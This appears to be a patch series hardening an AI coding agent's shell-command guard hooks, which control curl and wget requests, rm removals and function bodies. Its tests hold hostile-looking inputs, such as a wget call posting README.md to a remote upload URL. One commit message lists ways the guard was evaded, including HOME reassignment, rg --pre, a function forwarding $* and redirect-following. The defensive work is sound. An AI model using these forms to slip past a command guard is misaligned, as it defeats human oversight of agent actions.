judges. + + Each program has its own table, since a letter can be a flag to one and take a value in the other. `attached_long` allows `--name=value`, which wget accepts and curl does not. """ @@ -76,7 +73,8 @@ class Options: ), valued={ **dict.fromkeys(("-H", "--header"), header_value), - **dict.fromkeys(("-X", "--request"), read_method), + # Toward this machine, curl may also choose a method and send data. + **dict.fromkeys(("-X", "--request", "-d", "--data", "--data-raw", "--data-binary", "--json"), any_value), **dict.fromkeys( ( "-A", @@ -145,17 +143,11 @@ class Options: attached_long=True, ) PROGRAMS: dict[str, Options] = {"curl": CURL, "wget": WGET} -# A request to a local server stays on this machine, so it may also choose a method and send data. -LOCAL_VALUED: dict[str, ValueRule] = dict.fromkeys( - ("-X", "--request", "-d", "--data", "--data-raw", "--data-binary", "--json"), any_value -) def is_local(arguments: tuple[str, ...]) -> bool: """Whether a literal curl or wget call talks only to an HTTP server on this machine, with listed options.""" - options = PROGRAMS[arguments[0]] - local = Options(options.flags, options.valued | LOCAL_VALUED, options.attached_long) - urls = operands(arguments[1:], local) + urls = operands(arguments[1:], PROGRAMS[arguments[0]]) return bool(urls) and all(LOCAL_URL.fullmatch(url) for url in urls) diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index aa62d9d..4e38ab7 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -61,10 +61,9 @@ SHELLS = frozenset({"bash", "sh", "zsh"}) COMMAND_LOOKUP = frozenset({"-v", "-V"}) ASSIGNMENT = re.compile(r"[A-Za-z_][A-Za-z0-9_]*=") -# Expansions that a function call fills with its caller's words, options included: all positional -# parameters, any single one, and every element of an array. -SPREADING_PARAMETERS = frozenset({"@", "*"}) -SPREADING_INDEXES = frozenset({"@", "*"}) +# All positional parameters, any single one (a digit), and every array element ([@] or [*]) can +# become any number of words, options included. +SPREADING = frozenset({"@", "*"}) # Process wrappers run their trailing arguments as a command. Each entry lists the flags without an # operand and the options whose operand is the next token; unknown options are refused, not skipped. WRAPPERS: dict[str, tuple[frozenset[str], frozenset[str]]] = { @@ -148,10 +147,7 @@ def static_words_text(self) -> str: @property def decoded_words_text(self) -> str: - """The arguments as the program receives them, requoted, with each run-time word as a placeholder. - - Rules that judge options read this text, so quoting or escaping in the source cannot hide one. - """ + """The arguments as the program receives them, requoted, with each run-time word as a placeholder.""" return " ".join( RUN_TIME_PLACEHOLDER if dynamic else shlex.quote(argument) for argument, dynamic in zip(self.arguments, self.dynamic, strict=True) @@ -159,11 +155,7 @@ def decoded_words_text(self) -> str: @property def hides_options(self) -> bool: - """Whether an option can reach the program in a form its source text does not show. - - A quoted or escaped word still becomes an option once the shell removes the quotes, and a - positional or array expansion can become any number of words. - """ + """Whether an option can reach the program unseen: quoted or escaped, or inside a spreading expansion.""" quoted_option = any( argument.startswith("-") and word != argument for word, argument in zip(self.words, self.arguments, strict=True) @@ -215,12 +207,14 @@ def parse(source: str, depth: int = 0) -> tuple[Command, ...]: if any(node.get("Type") not in ALLOWED_NODES for node in records): raise UnsupportedSyntax("dynamic or unsupported shell syntax requires explicit review") data = source.encode() + enclosing = enclosing_writes(records, data) commands: list[Command] = [] for node in records: if node.get("Type") != "CallExpr" or not node.get("Args"): continue owner = owners.get(id(node), node) - command = replace(literal_command(node, owner, data), wrapper_depth=depth) + command = literal_command(node, owner, data) + command = replace(command, wrapper_depth=depth, writes=command.writes + enclosing.get(id(node), ())) commands.append(command) commands.extend(unwrapped(command)) innermost = commands[-1] @@ -231,6 +225,28 @@ def parse(source: str, depth: int = 0) -> tuple[Command, ...]: return tuple(commands) +def enclosing_writes(records: tuple[dict, ...], data: bytes) -> dict[int, tuple[str, ...]]: + """Files a compound statement's redirections write, such as `{ ...; } > f`, keyed by each call inside it.""" + found: dict[int, tuple[str, ...]] = {} + for statement in records: + compound = statement.get("Cmd") + if not isinstance(compound, dict) or compound.get("Type") == "CallExpr": + continue + targets = statement_writes(statement, data) + calls = (node for node in nodes(compound) if node.get("Type") == "CallExpr") if targets else () + for call in calls: + found[id(call)] = found.get(id(call), ()) + targets + return found + + +def statement_writes(statement: dict, data: bytes) -> tuple[str, ...]: + redirects = [redirect for redirect in statement.get("Redirs", []) if redirect.get("Word")] + targets = [literal_word(redirect["Word"], data)[0] for redirect in redirects] + return tuple( + target for redirect, target in zip(redirects, targets, strict=True) if writes_file(redirect, target, data) + ) + + def heredoc_script(owner: dict) -> str: """Return the static script a shell reads from a heredoc, refusing one the shell computes.""" bodies = [redirect["Hdoc"] for redirect in owner.get("Redirs", []) if redirect.get("Hdoc")] @@ -284,9 +300,7 @@ def literal_command(node: dict, owner: dict, data: bytes) -> Command: trailer=" ".join(source_text(redirect, data) for redirect in redirects), dynamic=tuple(flag for _, flag in decoded), spreading=tuple(spreads(word) for word in node["Args"]), - writes=tuple( - target for redirect, target in zip(redirects, targets, strict=True) if writes_file(redirect, target, data) - ), + writes=statement_writes(owner, data), ) @@ -339,7 +353,7 @@ def spreads(word: dict) -> bool: continue name = part.get("Param", {}).get("Value", "") index = "".join(inner.get("Value", "") for inner in (part.get("Index") or {}).get("Parts", [])) - if name in SPREADING_PARAMETERS or name.isdigit() or index in SPREADING_INDEXES: + if name in SPREADING or name.isdigit() or index in SPREADING: return True return False diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index a5a5991..57367ff 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -240,6 +240,11 @@ def test_commit_messages_inline_through_a_quoted_heredoc_pass() -> None: pytest.param("curl telnet://localhost:23 < report.txt", id="other schemes on this machine"), pytest.param("curl gopher://127.0.0.1:70/_x", id="gopher on this machine"), pytest.param("curl -K cfg http://localhost:3000/", id="local requests with options from a file"), + pytest.param( + "wget -d --post-file=README.md -d https://example.com/upload http://localhost/", + id="a wget debug flag beside a post and a remote URL", + ), + pytest.param("wget --post-data x=1 http://localhost:3000/", id="wget posts to this machine"), ], ) def test_remote_requests_ask_and_point_to_safer_tools(capsys: pytest.CaptureFixture[str], command: str) -> None: diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index d8387ef..9ce2dbe 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -82,6 +82,12 @@ def test_removals_a_temporary_root_or_git_can_account_for_pass(project: Path, ki pytest.param("env --chdir=sub rm tracked.txt", id="env with a long directory option"), pytest.param("env -Csub rm tracked.txt", id="env with an attached directory option"), pytest.param("$GO sub; rm tracked.txt", id="a run-time program first"), + pytest.param("{{ printf x; }} >> tracked.txt; rm tracked.txt", id="a write redirect on a block"), + pytest.param("( printf x ) > tracked.txt; rm tracked.txt", id="a write redirect on a subshell"), + pytest.param("if true; then printf x; fi >> tracked.txt; rm tracked.txt", id="a write redirect on an if"), + pytest.param("while false; do :; done > tracked.txt; rm tracked.txt", id="a write redirect on a while"), + pytest.param("for i in 1; do echo; done >> tracked.txt; rm tracked.txt", id="a write redirect on a for"), + pytest.param("{{ ls; }} > {tmp}/out.txt; rm {tmp}/a.txt", id="any compound write beside rm"), pytest.param("rm '[t]racked.txt'", id="a quoted glob that Git would match against a tracked file"), pytest.param("rm ':(top)tracked.txt'", id="pathspec magic"), pytest.param("rm 'tracked*.txt'", id="a quoted wildcard"), From 31652b6193432c9459bc9774de8a21508fa1a19d Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 15:29:42 +0900 Subject: [PATCH 08/25] fix(agents): resolve rm targets against the tool workdir A Codex shell call may name its own workdir, but the adapter forwarded only the command and the session cwd, so a relative rm target was looked up in the session directory: a tracked, unchanged file there could vouch for an untracked file of the same name in the workdir. - the Codex adapter forwards the tool input's workdir to the command guard - rm resolves relative targets against that workdir, itself relative to the session cwd, as the verification scope check already does Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 2 +- agents/hooks/lib/provider_adapter.py | 5 ++++- agents/hooks/lib/removal_policy.py | 14 ++++++++++--- tests/agents/hooks/test_removal_command.py | 24 ++++++++++++++++++++++ tests/agents/test_provider_adapters.py | 14 +++++++++++++ 5 files changed, 54 insertions(+), 5 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index ad6c61a..a7638d1 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -149,7 +149,7 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: preview = shell_syntax.command_preview(command) verdict = hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") else: - workspace = removal_policy.workspace(payload.get("cwd"), commands) + workspace = removal_policy.workspace(payload, commands) verdicts = ( verdict for item in commands diff --git a/agents/hooks/lib/provider_adapter.py b/agents/hooks/lib/provider_adapter.py index a10ab7e..6afd162 100644 --- a/agents/hooks/lib/provider_adapter.py +++ b/agents/hooks/lib/provider_adapter.py @@ -158,7 +158,10 @@ def fan_out(self, event: str, payload: dict) -> int: return hook_dispatch.run(self._manifest(), event, payload) def shell(self, mode: str, payload: dict) -> int: - values = {"command": command_text(self.normalized(payload)["tool_input"])} + tool_input = self.normalized(payload)["tool_input"] + values = {"command": command_text(tool_input)} + if isinstance(workdir := tool_input.get("workdir"), str) and workdir: + values["workdir"] = workdir command = self.translated(payload, "Bash", values) if mode == "commit": return guard_file.check("commit", command, shared_directory()) diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index c8196a1..5f88050 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -91,11 +91,19 @@ def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | No return Removal(recursive, targets, workspace.settled) -def workspace(payload_directory: object, commands: tuple[shell_syntax.Command, ...]) -> Workspace: +def workspace(payload: dict, commands: tuple[shell_syntax.Command, ...]) -> Workspace: """Judge the whole command once: whether the working directory and the file system stay put.""" known = not any(changes_directory(command) for command in commands) - directory = Path(payload_directory) if isinstance(payload_directory, str) and payload_directory else Path.cwd() - return Workspace(directory if known else None, all(is_inert(command) for command in commands)) + return Workspace(starting_directory(payload) if known else None, all(is_inert(command) for command in commands)) + + +def starting_directory(payload: dict) -> Path: + """Where the command starts: the tool's own workdir, if it names one, resolved against the session cwd.""" + cwd = payload.get("cwd") + session = Path(cwd) if isinstance(cwd, str) and cwd else Path.cwd() + values = payload.get("tool_input") + workdir = values.get("workdir") if isinstance(values, dict) else None + return session / workdir if isinstance(workdir, str) and workdir else session def changes_directory(command: shell_syntax.Command) -> bool: diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index 9ce2dbe..a79148d 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -1,5 +1,6 @@ """rm passes only where a temporary directory or Git can account for what it removes.""" +import os from pathlib import Path import subprocess @@ -157,3 +158,26 @@ def test_a_clean_filter_cannot_hide_uncommitted_content(project: Path, git_proje (git_project / ".git/info/attributes").write_text("tracked.txt filter=keep-head\n") (git_project / "tracked.txt").write_text("before and uncommitted notes") assert decide("allowed", "rm tracked.txt") == "ask" + + +@pytest.fixture +def other_project(tmp_path_factory: pytest.TempPathFactory) -> Path: + """A second repository whose same.txt is untracked, beside the session project where it is tracked.""" + other = tmp_path_factory.mktemp("other-project") + git(other, "init", "--quiet", "-b", "main") + (other / "same.txt").write_text("unsaved") + return other + + +@pytest.mark.parametrize("relative", [False, True], ids=["absolute workdir", "relative workdir"]) +def test_relative_targets_resolve_against_the_tool_workdir( + project: Path, git_project: Path, other_project: Path, relative: bool +) -> None: + (git_project / "same.txt").write_text("before") + git(git_project, "add", "same.txt") + git(git_project, "commit", "--quiet", "-m", "same") + workdir = os.path.relpath(other_project, git_project) if relative else str(other_project) + payload = {"tool_input": {"command": "rm same.txt", "workdir": workdir}, "cwd": str(git_project)} + assert guard.decide("allowed", payload).decision == "ask" + swapped = {"tool_input": {"command": "rm same.txt", "workdir": str(git_project)}, "cwd": str(other_project)} + assert guard.decide("allowed", swapped).decision == "allow" diff --git a/tests/agents/test_provider_adapters.py b/tests/agents/test_provider_adapters.py index 2ab2c02..03dc465 100644 --- a/tests/agents/test_provider_adapters.py +++ b/tests/agents/test_provider_adapters.py @@ -3,8 +3,10 @@ import json from pathlib import Path import shutil +import sys import pytest +from pytest_mock import MockerFixture from tests.runtime import CliRunner, REPO_ROOT, load_script_module @@ -120,6 +122,18 @@ def test_normalization_leaves_the_provider_payload_untouched(provider: str) -> N assert payload == original +@pytest.mark.parametrize("mode", ["allowed", "forbidden"]) +def test_codex_shell_workdir_reaches_the_command_guard(mocker: MockerFixture, mode: str) -> None: + adapter = load_script_module(script("codex"), "codex_hook_adapter_workdir").ADAPTER + lib = sys.modules["provider_adapter"] + decide = mocker.patch.object(lib.guard_command, "decide", return_value=lib.hook_decision.ALLOW) + payload = {"cwd": "/session", "tool_input": {"cmd": "rm same.txt", "workdir": "/elsewhere"}} + assert adapter.shell(mode, payload) == 0 + forwarded = decide.call_args.args[1] + assert forwarded["tool_input"] == {"command": "rm same.txt", "workdir": "/elsewhere"} + assert forwarded["cwd"] == "/session" + + @pytest.mark.parametrize("provider", PROVIDERS) @pytest.mark.parametrize("mode", ["allowed", "forbidden", "git"]) def test_escalations_are_denied_for_providers_whose_hooks_cannot_ask( From 060d82b3f0cbcd77bf804d9080cc7406222bf9ca Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 15:37:55 +0900 Subject: [PATCH 09/25] build(agents): list the new hook libraries as first-party for deptry guard_command imports removal_policy and request_policy from the hook library directory, which deptry reported as missing dependencies (DEP001). Add both to known_first_party beside the other hook modules. Refs #236 Co-Authored-By: Claude Opus 5.5 --- pyproject.toml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/pyproject.toml b/pyproject.toml index 3c0061a..8beebd5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -34,7 +34,9 @@ known_first_party = [ "lint_format", "patch_input", "provider_adapter", + "removal_policy", "replay_commands", + "request_policy", "secret_path_policy", "shell_syntax", "session_gate", From f4892fef6bf5f883f171e971bb12774f6a2ac39a Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 16:10:24 +0900 Subject: [PATCH 10/25] fix(agents): narrow rm, functions, and local requests to what the hook can see A seventh adversarial review of #242 found four more holes: HOME reassigned before rm, rg --pre and time -o writing before rm, a function forwarding $* through a variable to gh api, and curl --location following a local server's redirect elsewhere. Narrow the design instead of patching each form: - rm passes only when every target is a literal path inside TMPDIR or the scratchpad root; the Git-restorable rule and its Git queries are gone, so tracked files ask (git rm covers them), and a target written with ~ or a parameter is not literal; rg and time no longer count as inert - a function body that runs a governed or guarded program, any program an ask or deny prefix names, or a run-time program asks - requests to local servers ask when they may follow a redirect: curl's -L and --location leave the option table, and wget must say --max-redirect=0 Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 52 ++++++++++++----- agents/hooks/lib/command_policy.py | 10 ++++ agents/hooks/lib/removal_policy.py | 66 ++++------------------ agents/hooks/lib/request_policy.py | 17 +++++- agents/hooks/lib/shell_syntax.py | 57 ++++++++----------- tests/agents/hooks/test_allowed_command.py | 32 +++++++++-- tests/agents/hooks/test_removal_command.py | 56 +++++++++--------- 7 files changed, 153 insertions(+), 137 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index a7638d1..49bad31 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -71,28 +71,45 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: """Judge one segment by its own words and by its canonical program and subcommand. Rules see only the command's words: redirections stay inside the sandbox, and heredoc bodies - are data, not commands, and so is an argument containing whitespace. The forbidden kind only denies: a literal deny prefix or pattern wins - even beside a run-time argument. The allowed kind reviews only programs whose effects reach - past the sandbox, such as GitHub writes and remote fetches, and lets every other program take - any form, since the sandbox confines it. A run-time word in a governed program counts as a plain - placeholder, so it passes only where any value would, and a governed command that can hide an - option from the rules, or takes more arguments from xargs, asks. + are data, not commands, and so is an argument containing whitespace. """ candidate = command_policy.canonical(item) - prefixes, rules = policy.prefixes, policy.rules preview = shell_syntax.command_preview(item.raw) if kind == "forbidden": - matched = command_policy.regex_reason(item.command_words_text, rules) or command_policy.regex_reason( - candidate.command_words_text, rules - ) - reason = command_policy.prefix_reason(candidate.arguments, prefixes, "deny") or matched - if not reason: - return hook_decision.ALLOW - return hook_decision.deny( - f"BLOCKED: forbidden command: {reason}.\n\nCommand: {preview}\n\n{hook_decision.REVIEW_HINT}" + return forbidden_objection(item, candidate, policy) + if item.in_function and (item.program_is_dynamic or runs_sensitive_program(candidate, policy)): + return hook_decision.ask( + f"Needs review: a function body runs {candidate.arguments[0]}, whose calls cannot be judged form by form." + f"\n\nCommand: {preview}", + "function", ) if not candidate.program_is_dynamic and candidate.arguments[0] in request_policy.PROGRAMS: return request_objection(candidate, preview) + return governed_objection(candidate, policy, preview) + + +def forbidden_objection(item: shell_syntax.Command, candidate: shell_syntax.Command, policy: Policy) -> Verdict: + """Deny only: a literal deny prefix or pattern wins even beside a run-time argument.""" + rules = policy.rules + matched = command_policy.regex_reason(item.command_words_text, rules) or command_policy.regex_reason( + candidate.command_words_text, rules + ) + reason = command_policy.prefix_reason(candidate.arguments, policy.prefixes, "deny") or matched + if not reason: + return hook_decision.ALLOW + preview = shell_syntax.command_preview(item.raw) + return hook_decision.deny( + f"BLOCKED: forbidden command: {reason}.\n\nCommand: {preview}\n\n{hook_decision.REVIEW_HINT}" + ) + + +def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: str) -> Verdict: + """Review only programs whose effects reach past the sandbox; the sandbox confines every other form. + + A run-time word counts as a plain placeholder, so it passes only where any value would, and a + command that can hide an option from the rules, or takes more arguments from xargs, asks. + """ + prefixes, rules = policy.prefixes, policy.rules if candidate.program_is_dynamic or candidate.arguments[0] not in command_policy.governed_programs(rules): return hook_decision.ALLOW governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") @@ -109,6 +126,11 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: ) +def runs_sensitive_program(candidate: shell_syntax.Command, policy: Policy) -> bool: + sensitive = command_policy.sensitive_programs(policy.prefixes, policy.rules) | request_policy.PROGRAMS.keys() + return candidate.arguments[0] in sensitive + + def request_objection(candidate: shell_syntax.Command, preview: str) -> Verdict: """Pass a curl or wget call whose decoded, literal arguments stay on this machine; ask for any other.""" if ( diff --git a/agents/hooks/lib/command_policy.py b/agents/hooks/lib/command_policy.py index d4356f6..a2e4760 100644 --- a/agents/hooks/lib/command_policy.py +++ b/agents/hooks/lib/command_policy.py @@ -11,6 +11,10 @@ import shell_syntax +# Programs the forbidden patterns, the Git guard, or rm's own policy judge beyond the prefix rules. +GUARDED_PROGRAMS = frozenset({"eval", "find", "git", "python", "python3", "rm", "xargs", *shell_syntax.SHELLS}) + + def regex_matches(pattern: str, value: str, insensitive: bool = False) -> bool: """Use the existing system regex engine instead of silently changing regex dialects.""" return any_regex_matches((pattern,), value, insensitive) @@ -79,6 +83,12 @@ def governed_programs(rules: list[dict]) -> frozenset[str]: return frozenset(program for rule in rules for program in rule.get("programs", ())) +def sensitive_programs(prefixes: list[dict], rules: list[dict]) -> frozenset[str]: + """Programs a function body may not run unreviewed: governed or guarded ones, or any an ask or deny prefix names.""" + named = {rule["prefix"][0] for rule in prefixes if rule["decision"] != "allow"} + return governed_programs(rules) | GUARDED_PROGRAMS | named + + def project_file(name: str) -> Path | None: """Locate optional project policy using its owning Git root.""" start = os.environ.get("AGENT_PROJECT_DIR", os.environ.get("CLAUDE_PROJECT_DIR", os.getcwd())) diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index 5f88050..7912afc 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -1,9 +1,8 @@ -"""Judge rm by whether a temporary directory or Git accounts for everything it removes.""" +"""Judge rm by whether every target is a literal path inside a temporary directory; git rm covers tracked files.""" from dataclasses import dataclass import os from pathlib import Path -import subprocess import shell_syntax @@ -12,7 +11,7 @@ "Do not remove directory trees outside a temporary directory from an agent session; " "Git cannot restore untracked files." ) -FILE_REASON = "removing files that neither a temporary directory nor Git can restore needs review" +FILE_REASON = "removing files outside a temporary directory needs review; use git rm for tracked files" # Claude Code points each sandboxed command's TMPDIR, including session scratchpads, below this root. SCRATCH_ROOT = Path(f"/private/tmp/claude-{os.getuid()}") SHORT_FLAGS = frozenset("dfiIPRrvWx") @@ -20,12 +19,10 @@ {"--dir", "--force", "--interactive", "--one-file-system", "--preserve-root", "--recursive", "--verbose"} ) DIRECTORY_CHANGES = frozenset({"cd", "pushd", "popd"}) -# Characters Git reads as a wildcard or pathspec magic, so a name holding one may match another file. -PATHSPEC_SPECIALS = frozenset("*?[]\\:!") -# Commands that only read, so beside them an rm target stays as the hook sees it. -READERS = frozenset( - {"[", "cat", "echo", "false", "grep", "head", "ls", "printf", "pwd", "rg", "tail", "test", "true", "wc"} -) +# Commands that only read, so beside them an rm target stays as the hook sees it. rg is absent since +# its --pre runs a program, and time since its -o writes a file. +READERS = frozenset({"[", "cat", "echo", "false", "grep", "head", "ls", "printf", "pwd", "tail", "test", "true", "wc"}) +INERT_WRAPPERS = frozenset(shell_syntax.WRAPPERS) - {"time"} @dataclass(frozen=True, slots=True) @@ -41,7 +38,7 @@ class Workspace: @dataclass(frozen=True, slots=True) class Removal: - """One rm invocation; `targets` is None when a run-time word, input, or unknown option hides them.""" + """One rm invocation; `targets` is None unless every target is a literal path the hook can resolve.""" recursive: bool targets: tuple[Path, ...] | None @@ -53,12 +50,8 @@ def is_temporary(self) -> bool: @property def is_accounted_for(self) -> bool: - """Whether every target is temporary or, for a plain removal, restorable from Git, and stays so.""" - if not self.settled: - return False - if self.is_temporary: - return True - return not self.recursive and bool(self.targets) and all(is_restorable(target) for target in self.targets) + """Whether every target is temporary and nothing else in the command can change that first.""" + return self.settled and self.is_temporary @property def removes_unaccounted_tree(self) -> bool: @@ -72,8 +65,8 @@ def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | No recursive, operands = False, [] hidden = command.appends_input options_ended = False - for word, dynamic in zip(command.arguments[1:], command.dynamic[1:], strict=True): - if dynamic: + for word, source, dynamic in zip(command.arguments[1:], command.words[1:], command.dynamic[1:], strict=True): + if dynamic or source.startswith("~") or "$" in source: hidden = True elif options_ended or word == "-" or not word.startswith("-"): operands.append(word) @@ -84,7 +77,6 @@ def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | No else: hidden = True directory = workspace.directory - hidden |= any(PATHSPEC_SPECIALS & set(word) for word in operands) if hidden or not operands or (directory is None and not all(Path(word).is_absolute() for word in operands)): return Removal(recursive, None, workspace.settled) targets = tuple(Path(os.path.join(directory or "/", word)) for word in operands) @@ -126,7 +118,7 @@ def is_inert(command: shell_syntax.Command) -> bool: name = Path(command.arguments[0]).name if name == "env": return not changes_directory(command) - return name == "rm" or name in shell_syntax.WRAPPERS or name in READERS + return name == "rm" or name in INERT_WRAPPERS or name in READERS def is_option(word: str) -> bool: @@ -147,37 +139,3 @@ def temporary_roots() -> tuple[Path, ...]: roots = (Path(os.path.realpath(candidate)) for candidate in candidates if candidate.is_absolute()) home = Path(os.path.realpath(Path.home())) return tuple(root for root in roots if not home.is_relative_to(root)) - - -def is_restorable(target: Path) -> bool: - """A regular tracked file whose working, staged, and HEAD contents are one blob comes back with git restore. - - The raw bytes are hashed rather than diffed: Git skips its change check for files flagged - assume-unchanged or skip-worktree, which never count as restorable, and a clean filter could - drop uncommitted content before hashing. - """ - if target.is_symlink() or not target.is_file(): - return False - entries = git(target.parent, "ls-files", "-v", "-s", "--", target.name).splitlines() - if len(entries) != 1: - return False - tag, mode, staged, _ = entries[0].split(" ", 3) - if tag != "H" or mode not in {"100644", "100755"}: - return False - committed = git(target.parent, "rev-parse", "--verify", "--quiet", f"HEAD:./{target.name}") - working = git(target.parent, "hash-object", "--no-filters", "--", target.name) - return staged == committed == working - - -def git(directory: Path, *arguments: str) -> str: - """Run a Git query and return its trimmed output, or an empty string when it fails.""" - try: - result = subprocess.run( - ["git", "--literal-pathspecs", "-C", str(directory), *arguments], - capture_output=True, - text=True, - check=False, - ) - except OSError: - return "" - return result.stdout.strip() if result.returncode == 0 else "" diff --git a/agents/hooks/lib/request_policy.py b/agents/hooks/lib/request_policy.py index eb1e7d3..a594a3f 100644 --- a/agents/hooks/lib/request_policy.py +++ b/agents/hooks/lib/request_policy.py @@ -43,7 +43,8 @@ class Options: CURL = Options( flags=frozenset( { - *(f"-{letter}" for letter in "#0146IJLNORSZfgiklsv"), + # -L and --location are absent: a local server could redirect the request elsewhere. + *(f"-{letter}" for letter in "#0146IJNORSZfgiklsv"), "--compressed", "--create-dirs", "--fail", @@ -57,7 +58,6 @@ class Options: "--insecure", "--ipv4", "--ipv6", - "--location", "--no-buffer", "--no-progress-meter", "--progress-bar", @@ -132,6 +132,7 @@ class Options: "-U", "-t", "--directory-prefix", + "--max-redirect", "--output-document", "--timeout", "--tries", @@ -146,11 +147,21 @@ class Options: def is_local(arguments: tuple[str, ...]) -> bool: - """Whether a literal curl or wget call talks only to an HTTP server on this machine, with listed options.""" + """Whether a literal curl or wget call talks only to an HTTP server on this machine, with listed options. + + wget follows redirects unless told not to, so it must say --max-redirect=0. + """ + if arguments[0] == "wget" and not disables_redirects(arguments[1:]): + return False urls = operands(arguments[1:], PROGRAMS[arguments[0]]) return bool(urls) and all(LOCAL_URL.fullmatch(url) for url in urls) +def disables_redirects(arguments: tuple[str, ...]) -> bool: + pairs = zip(arguments, (*arguments[1:], ""), strict=True) + return any(word == "--max-redirect=0" or (word, value) == ("--max-redirect", "0") for word, value in pairs) + + def operands(arguments: tuple[str, ...], options: Options) -> tuple[str, ...] | None: """The URLs when every option is listed with an acceptable value, else None.""" urls: list[str] = [] diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 4e38ab7..18c33f4 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -13,40 +13,17 @@ COMMAND_PREVIEW_LIMIT = 200 RUN_TIME_PLACEHOLDER = "_" +# Statements, words, arithmetic, loops and branches, and tests that the inspection understands. ALLOWED_NODES = frozenset( { None, - "File", - "CallExpr", - "BinaryCmd", - "Subshell", - "Block", - "Lit", - "SglQuoted", - "DblQuoted", - "ParamExp", - "TimeClause", - "CmdSubst", - "ProcSubst", - "ArithmExp", - "ArithmCmd", - "BinaryArithm", - "UnaryArithm", - "ParenArithm", - "ForClause", - "WordIter", - "CStyleLoop", - "WhileClause", - "IfClause", - "CaseClause", - "CaseItem", - "TestClause", - "BinaryTest", - "UnaryTest", - "ParenTest", - "DeclClause", - "FuncDecl", - "Word", + *( + "File CallExpr BinaryCmd Subshell Block TimeClause DeclClause FuncDecl " + "Word Lit SglQuoted DblQuoted ParamExp CmdSubst ProcSubst " + "ArithmExp ArithmCmd BinaryArithm UnaryArithm ParenArithm " + "ForClause WordIter CStyleLoop WhileClause IfClause CaseClause CaseItem " + "TestClause BinaryTest UnaryTest ParenTest" + ).split(), } ) # Every command inside a substitution, clause, or function body is a CallExpr that parse judges on @@ -99,7 +76,8 @@ class Command: than the home directory); such arguments carry their source text. `writes` lists the files that output redirections would create or overwrite. `appends_input` marks a command that xargs runs with further arguments read from its input. `spreading` flags arguments holding a positional - parameter or array expansion outside any substitution. + parameter or array expansion outside any substitution. `in_function` marks a command that a + function defined in the same input runs. """ raw: str @@ -112,6 +90,7 @@ class Command: writes: tuple[str, ...] = () appends_input: bool = False spreading: tuple[bool, ...] = () + in_function: bool = False def __post_init__(self) -> None: if not self.words: @@ -208,13 +187,25 @@ def parse(source: str, depth: int = 0) -> tuple[Command, ...]: raise UnsupportedSyntax("dynamic or unsupported shell syntax requires explicit review") data = source.encode() enclosing = enclosing_writes(records, data) + function_calls = { + id(node) + for declaration in records + if declaration.get("Type") == "FuncDecl" + for node in nodes(declaration.get("Body")) + if node.get("Type") == "CallExpr" + } commands: list[Command] = [] for node in records: if node.get("Type") != "CallExpr" or not node.get("Args"): continue owner = owners.get(id(node), node) command = literal_command(node, owner, data) - command = replace(command, wrapper_depth=depth, writes=command.writes + enclosing.get(id(node), ())) + command = replace( + command, + wrapper_depth=depth, + writes=command.writes + enclosing.get(id(node), ()), + in_function=id(node) in function_calls, + ) commands.append(command) commands.extend(unwrapped(command)) innermost = commands[-1] diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 57367ff..2782b84 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -73,6 +73,7 @@ pytest.param("gh pr list 2>&1 | head -5", id="GitHub forms in pipelines"), pytest.param("curl -fsS http://localhost:3000/health", id="local server requests"), pytest.param("curl -s -o out.json -H 'Accept: x' http://127.0.0.1:8080/api", id="local server downloads"), + pytest.param("wget --max-redirect=0 -q -O- http://localhost:3000/", id="local wget without redirects"), pytest.param("curl -X POST -d '{\"a\": 1}' http://127.0.0.1:8080/api", id="local server writes"), pytest.param( 'gh api -H "Accept: application/vnd.github.raw" "repos/o/r/contents/a.nix?ref=v1" | sed -n 1,20p', @@ -89,11 +90,7 @@ pytest.param( "herdr worktree open --cwd /repo --branch feat/x --label x --no-focus", id="Herdr worktree opens" ), - pytest.param('t(){ uv run --frozen 